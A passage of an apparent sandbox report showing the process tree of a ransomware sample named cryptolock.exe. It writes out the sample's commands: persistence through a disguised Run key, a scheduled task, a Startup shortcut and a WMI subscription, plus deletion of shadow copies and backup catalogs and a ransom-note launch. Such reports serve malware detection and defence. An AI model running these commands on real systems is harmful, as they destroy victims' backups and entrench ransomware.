  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Nextcloud'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'ownCloud'"
  2⤵
  PID:3276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Seafile'"
  2⤵
  PID:3668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Sync'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Resilio'"
  2⤵
  PID:2056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "Get-PSDrive -PSProvider FileSystem | Select-Object -ExpandProperty Root"
  2⤵
  PID:5320
- C:\Windows\system32\cmd.exe
  "cmd" /c start "" C:\Users\Admin\Desktop\CRYPTOLOCK_DECRYPT_INSTRUCTIONS.html
  2⤵
  - Executes a command shell one-liner
  - Modifies registry class
  PID:3240
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\CRYPTOLOCK_DECRYPT_INSTRUCTIONS.html
    3⤵
    PID:1176
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x334,0x7ffcb900c188,0x7ffcb900c194,0x7ffcb900c1a0
      4⤵
      PID:4612
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1864,i,17562533507553359332,5880117591603041961,524288 --field-trial-handle=2224,i,16975079750832794770,16383797076422674998,262144 --variations-seed-version --mojo-platform-channel-handle=2284 /prefetch:11
      4⤵
      System Time Discovery
      PID:2064
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1564,i,12400333363321713854,15959234838268703878,262144 --field-trial-handle=2224,i,16975079750832794770,16383797076422674998,262144 --variations-seed-version --mojo-platform-channel-handle=1848 /prefetch:2
      4⤵
      PID:5332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2480,i,4227628751127707601,18285114370917082917,524288 --field-trial-handle=2224,i,16975079750832794770,16383797076422674998,262144 --variations-seed-version --mojo-platform-channel-handle=2964 /prefetch:13
      4⤵
      PID:2888
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3588,i,5159410378323518620,7199715816916192883,2097152 --field-trial-handle=2224,i,16975079750832794770,16383797076422674998,262144 --variations-seed-version --mojo-platform-channel-handle=3848 /prefetch:1
      4⤵
      PID:4856
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3592,i,3705294408198968550,14088360686603970265,2097152 --field-trial-handle=2224,i,16975079750832794770,16383797076422674998,262144 --variations-seed-version --mojo-platform-channel-handle=3852 /prefetch:1
      4⤵
      PID:1200
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4264,i,1818299929291004155,15135390185840924594,2097152 --field-trial-handle=2224,i,16975079750832794770,16383797076422674998,262144 --variations-seed-version --mojo-platform-channel-handle=4440 /prefetch:1
      4⤵
      PID:1368
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4300,i,14537471866188114164,12820972579559431756,2097152 --field-trial-handle=2224,i,16975079750832794770,16383797076422674998,262144 --variations-seed-version --mojo-platform-channel-handle=4520 /prefetch:9
      4⤵
      PID:1364
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4492,i,7450846015501284312,8642081703194788223,2097152 --field-trial-handle=2224,i,16975079750832794770,16383797076422674998,262144 --variations-seed-version --mojo-platform-channel-handle=4532 /prefetch:1
      4⤵
      PID:5340
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5496,i,1789063820005784106,10844219838280861992,524288 --field-trial-handle=2224,i,16975079750832794770,16383797076422674998,262144 --variations-seed-version --mojo-platform-channel-handle=5488 /prefetch:14
      4⤵
      PID:1256
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5368,i,310905113647592907,3403545661571623564,524288 --field-trial-handle=2224,i,16975079750832794770,16383797076422674998,262144 --variations-seed-version --mojo-platform-channel-handle=5496 /prefetch:14
      4⤵
      PID:2480
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5600,i,8088496967419543065,2386017223590914225,524288 --field-trial-handle=2224,i,16975079750832794770,16383797076422674998,262144 --variations-seed-version --mojo-platform-channel-handle=5612 /prefetch:14
      4⤵
      PID:4848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6212,i,335344234834632388,16714449954833561695,524288 --field-trial-handle=2224,i,16975079750832794770,16383797076422674998,262144 --variations-seed-version --mojo-platform-channel-handle=6240 /prefetch:14
      4⤵
      PID:3836
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6212,i,335344234834632388,16714449954833561695,524288 --field-trial-handle=2224,i,16975079750832794770,16383797076422674998,262144 --variations-seed-version --mojo-platform-channel-handle=6240 /prefetch:14
      4⤵
      PID:2852
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6420,i,9845239453366706587,10259269093790844606,524288 --field-trial-handle=2224,i,16975079750832794770,16383797076422674998,262144 --variations-seed-version --mojo-platform-channel-handle=6436 /prefetch:14
      4⤵
      PID:1124
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6768,i,12636777774793574360,2910616320197953958,524288 --field-trial-handle=2224,i,16975079750832794770,16383797076422674998,262144 --variations-seed-version --mojo-platform-channel-handle=6784 /prefetch:14
      4⤵
      PID:5336
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4432,i,17527478017347195200,18139992761088716898,524288 --field-trial-handle=2224,i,16975079750832794770,16383797076422674998,262144 --variations-seed-version --mojo-platform-channel-handle=4720 /prefetch:14
      4⤵
      PID:3840
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5416,i,1090454217332561281,9195187528087632258,524288 --field-trial-handle=2224,i,16975079750832794770,16383797076422674998,262144 --variations-seed-version --mojo-platform-channel-handle=4572 /prefetch:14
      4⤵
      PID:4600
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5444,i,15709939875713515428,11096003563628951440,524288 --field-trial-handle=2224,i,16975079750832794770,16383797076422674998,262144 --variations-seed-version --mojo-platform-channel-handle=6588 /prefetch:14
      4⤵
      PID:5032
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5488,i,7202090735361401490,13839947427428737109,524288 --field-trial-handle=2224,i,16975079750832794770,16383797076422674998,262144 --variations-seed-version --mojo-platform-channel-handle=6900 /prefetch:14
      4⤵
      PID:3760
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3464,i,59340215197660098,16238201801358359743,524288 --field-trial-handle=2224,i,16975079750832794770,16383797076422674998,262144 --variations-seed-version --mojo-platform-channel-handle=6348 /prefetch:14
      4⤵
      PID:4776

C:\Users\Admin\AppData\Local\Temp\cryptolock.exe
"C:\Users\Admin\AppData\Local\Temp\cryptolock.exe"
1⤵
- Enumerates VirtualBox DLL files
- Looks for VirtualBox drivers on disk
- Drops desktop.ini file(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2392
- C:\Windows\system32\tasklist.exe
  "tasklist" /FO CSV /NH
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:4944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "Get-WmiObject Win32_SystemDriver | Select-Object -ExpandProperty Name"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2356
- C:\Windows\system32\net.exe
  "net" session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2984
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:5080
- C:\Windows\system32\reg.exe
  "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdateHelper /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\cryptolock.exe\" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4540
- C:\Windows\system32\schtasks.exe
  "schtasks" /create /tn Microsoft\Windows\UpdateHelper /xml C:\Users\Admin\AppData\Local\Temp\\task_2392.xml /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command [Environment]::GetFolderPath('Startup')
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $lnk = $ws.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdateHelper.lnk'); $lnk.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\cryptolock.exe'; $lnk.WindowStyle = 7; $lnk.Save()"
  2⤵
  - Creates a file in the Startup directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "$filterArgs = @{ Name = 'WindowsUpdateFilter'; EventNameSpace = 'root/CIMV2'; QueryLanguage = 'WQL'; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" }; $filter = Set-WmiInstance -Class __EventFilter -Namespace 'root/subscription' -Arguments $filterArgs; $consumerArgs = @{ Name = 'WindowsUpdateConsumer'; CommandLineTemplate = 'C:\Users\Admin\AppData\Local\Temp\cryptolock.exe' }; $consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace 'root/subscription' -Arguments $consumerArgs; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace 'root/subscription' -Arguments @{Filter = $filter; Consumer = $consumer}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'OneDrive'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3592
- C:\Windows\system32\tasklist.exe
  "tasklist" /FO CSV /NH
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:5660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Google Drive'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Dropbox'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'iCloud'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Mega'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'pCloud'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Box'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Nextcloud'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'ownCloud'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Seafile'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Sync'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Resilio'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'OneDrive'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5060
- C:\Windows\system32\tasklist.exe
  "tasklist" /FO CSV /NH
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:3004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Google Drive'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Dropbox'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'iCloud'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Mega'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'pCloud'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Box'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Nextcloud'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'ownCloud'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Seafile'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Sync'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Resilio'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "vssadmin delete shadows /all /quiet 2>&1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\system32\vssadmin.exe
    "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "Disable-ComputerRestore -Drive 'C:\' 2>&1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "wbadmin delete catalog -quiet 2>&1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2576
- - C:\Windows\system32\wbadmin.exe
    "C:\Windows\system32\wbadmin.exe" delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "Get-PSDrive -PSProvider FileSystem | Select-Object -ExpandProperty Root"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'OneDrive'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:6044
- C:\Windows\system32\tasklist.exe
  "tasklist" /FO CSV /NH
  2⤵
  - Discovers running processes
  PID:5980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Google Drive'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Dropbox'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'iCloud'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Mega'"
  2⤵
  PID:4936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'pCloud'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Box'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Nextcloud'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'ownCloud'"
  2⤵
  PID:4568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Seafile'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Sync'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Resilio'"
  2⤵
  PID:2620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "Get-PSDrive -PSProvider FileSystem | Select-Object -ExpandProperty Root"
  2⤵
  PID:3824
- C:\Windows\system32\cmd.exe
  "cmd" /c start "" C:\Users\Admin\Desktop\CRYPTOLOCK_DECRYPT_INSTRUCTIONS.html
  2⤵
  - Executes a command shell one-liner
  PID:1700
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\CRYPTOLOCK_DECRYPT_INSTRUCTIONS.html
    3⤵
    PID:3348

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:2252

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4696

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2060

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3680

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
